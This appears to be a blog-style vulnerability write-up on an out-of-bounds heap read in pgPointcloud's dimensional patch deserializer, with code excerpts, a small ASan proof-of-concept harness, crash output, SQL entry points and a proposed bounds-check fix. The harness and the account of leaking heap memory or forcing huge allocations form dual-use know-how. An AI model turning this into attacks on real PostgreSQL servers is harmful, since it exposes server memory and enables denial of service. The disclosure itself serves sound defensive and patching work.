September 25, 2026
Authenticated Users Can Trigger a Heap OOB Read in pgPointcloud via pcpatch
I was looking at how pgPointcloud turns WKB into patches when I hit a path that felt thinner than the rest of the code.

By Harsh Raj Singhania
4 min read
pgPointcloud is a PostgreSQL extension for storing LiDAR and other point-cloud data. You register a schema that describes the dimensions (X, Y, Z, intensity, whatever else), then you store collections of points as pcpatch values. Those patches can be stored uncompressed, with dimensional compression, or with LAZ. The dimensional format is the interesting one here: instead of interleaving every point's dimensions, it stores each dimension as its own compressed byte array.
The on-wire / on-disk format for a dimensional patch looks roughly like this:
- 1 byte endianness
- 4 bytes pcid
- 4 bytes compression type (dimensional)
- 4 bytes number of points
- then, for each dimension: 1 byte compression subtype + 4 bytes size + the data itself
That size field is the problem.
Following the bytes into the library
When PostgreSQL receives a hex string or bytea that is supposed to be a pcpatch, the call chain eventually reaches pc_patch_dimensional_from_wkb(). That function walks the dimensions and calls pc_bytes_deserialize() for each one.
Here is the relevant part of the deserializer (simplified):
int pc_bytes_deserialize(const uint8_t *buf, const PCDIMENSION *dim,
PCBYTES *pcb, int readonly, int flip_endian)
{
pcb->compression = buf[0];
pcb->size = wkb_get_int32(buf + 1, flip_endian);
...
if (readonly) {
pcb->bytes = (uint8_t *)(buf + 5);
} else {
pcb->bytes = pcalloc(pcb->size);
memcpy(pcb->bytes, buf + 5, pcb->size); /* <-- here */
...
}
...
}int pc_bytes_deserialize(const uint8_t *buf, const PCDIMENSION *dim,
PCBYTES *pcb, int readonly, int flip_endian)
{
pcb->compression = buf[0];
pcb->size = wkb_get_int32(buf + 1, flip_endian);
...
if (readonly) {
pcb->bytes = (uint8_t *)(buf + 5);
} else {
pcb->bytes = pcalloc(pcb->size);
memcpy(pcb->bytes, buf + 5, pcb->size); /* <-- here */
...
}
...
}It reads a 32-bit integer straight from the attacker-controlled buffer and uses that integer as the length for both the allocation and the memcpy. There is no check that buf + 5 + pcb->size is still inside the original WKB.
The caller does not help either. In pc_patch_dimensional_from_wkb() the loop simply advances the read pointer by whatever size pc_bytes_deserialize just claimed:
buf = wkb + hdrsz;
for (i = 0; i < ndims; i++) {
...
pc_bytes_deserialize(buf, dim, pcb, PC_FALSE, swap_endian);
pcb->npoints = npoints;
buf += pc_bytes_serialized_size(pcb); /* uses the claimed size */
}buf = wkb + hdrsz;
for (i = 0; i < ndims; i++) {
...
pc_bytes_deserialize(buf, dim, pcb, PC_FALSE, swap_endian);
pcb->npoints = npoints;
buf += pc_bytes_serialized_size(pcb); /* uses the claimed size */
}No remaining-length tracking. No end pointer. Nothing.
The uncompressed path actually does a total-size check:
(wkbsize - hdrsz) != (s->size * npoints)(wkbsize - hdrsz) != (s->size * npoints)The dimensional path has no equivalent.
Showing it
I built a tiny harness that only needs a few of the library's object files and AddressSanitizer. The input is deliberately tiny: 13 real bytes. The size field claims 65536.
size_t avail = 1 + 4 + 8; /* 13 real bytes */
uint8_t *buf = malloc(avail);
buf[0] = 0; /* compression byte */
int32_t claimed = 65536;
memcpy(buf+1, &claimed, 4);
memset(buf+5, 0x41, 8); /* only 8 data bytes present */
pc_bytes_deserialize(buf, &dim, &pcb, PC_FALSE, 0);size_t avail = 1 + 4 + 8; /* 13 real bytes */
uint8_t *buf = malloc(avail);
buf[0] = 0; /* compression byte */
int32_t claimed = 65536;
memcpy(buf+1, &claimed, 4);
memset(buf+5, 0x41, 8); /* only 8 data bytes present */
pc_bytes_deserialize(buf, &dim, &pcb, PC_FALSE, 0);ASan immediately reports:
==ERROR: AddressSanitizer: heap-buffer-overflow READ of size 65536
#0 memcpy
#1 pc_bytes_deserialize lib/pc_bytes.c:1363
0 bytes after 13-byte region==ERROR: AddressSanitizer: heap-buffer-overflow READ of size 65536
#0 memcpy
#1 pc_bytes_deserialize lib/pc_bytes.c:1363
0 bytes after 13-byte regionExactly what the code path predicts. The library allocated a 64 KB buffer and then read far past the end of the 13-byte input.
How far does this reach from SQL?
The entry points are the normal ones:
- casting a hex string to
pcpatch PC_PatchFromWKB()- inserting into a table that has a pointcloud column
All of them eventually call pc_patch_from_wkb โ pc_patch_dimensional_from_wkb โ pc_bytes_deserialize. Any authenticated PostgreSQL user who can supply a pcpatch value can hit it. No superuser required.
What the bug actually gives you
The out-of-bounds bytes are copied into the patch's internal buffers. Later calls such as PC_Get, PC_AsText, or other patch accessors can surface those bytes back to the attacker. That is a heap-memory disclosure primitive.
Because the size field is a full 32-bit value, an attacker can also force a near-4 GB allocation. That is a straightforward denial-of-service against the backend process.
I did not demonstrate code execution. I am not going to claim it. The concrete results are the ASan crash, the oversized allocation, and the fact that the copied data lives inside the patch object where it can be read back.
Why the check was missing
Looking at the two paths side by side, the uncompressed one was written with a total-size sanity check. The dimensional path was written later and never received the same treatment. The serializer and deserializer for dimensional data assume the size field is trustworthy. Once that assumption is false, the rest of the logic just follows it off the end of the buffer.
The obvious fix
Pass the end of the WKB buffer all the way into the dimensional loop and into pc_bytes_deserialize. Before the memcpy, verify that the claimed size still fits. Mirror the total-size validation that already exists on the uncompressed path. A hard upper bound on the number of points would not hurt either.
That is the whole bug. One size field trusted without a length check, one missing end-pointer, and a memcpy that happily walks off the end of the input.
REFERENCES
- pgPointcloud repository: https://github.com/pgpointcloud/pointcloud
- Vulnerable function:
lib/pc_bytes.cโpc_bytes_deserialize - Caller:
lib/pc_patch_dimensional.cโpc_patch_dimensional_from_wkb - Binary format documentation: https://pgpointcloud.github.io/pointcloud/concepts/binary.html
- Latest release at time of writing: v1.2.5 (2023โ09โ19); master still exhibits the issue in the tested code
FACT CHECK / UNCERTAINTIES
- No public CVE or advisory was found for this specific issue at the time of research. Treat as unpublished / newly identified.
- The report tested "master (unspecified release version)". Latest tagged release is 1.2.5; the vulnerable code is present on the current master branch of the GitHub repository.
- Exact line number of the
memcpymay shift slightly with future commits; the logic itself is unchanged in the inspected source. - End-to-end SQL reachability is described by the call chain in the report and matches the public function names; I did not re-run a full PostgreSQL + extension test in this write-up.
- Disclosure status, dates, and any maintainer response are not present in the supplied material, so they are omitted.
- Impact is limited to what was demonstrated (OOB read + large allocation / DoS + potential disclosure of the copied bytes). No RCE claim.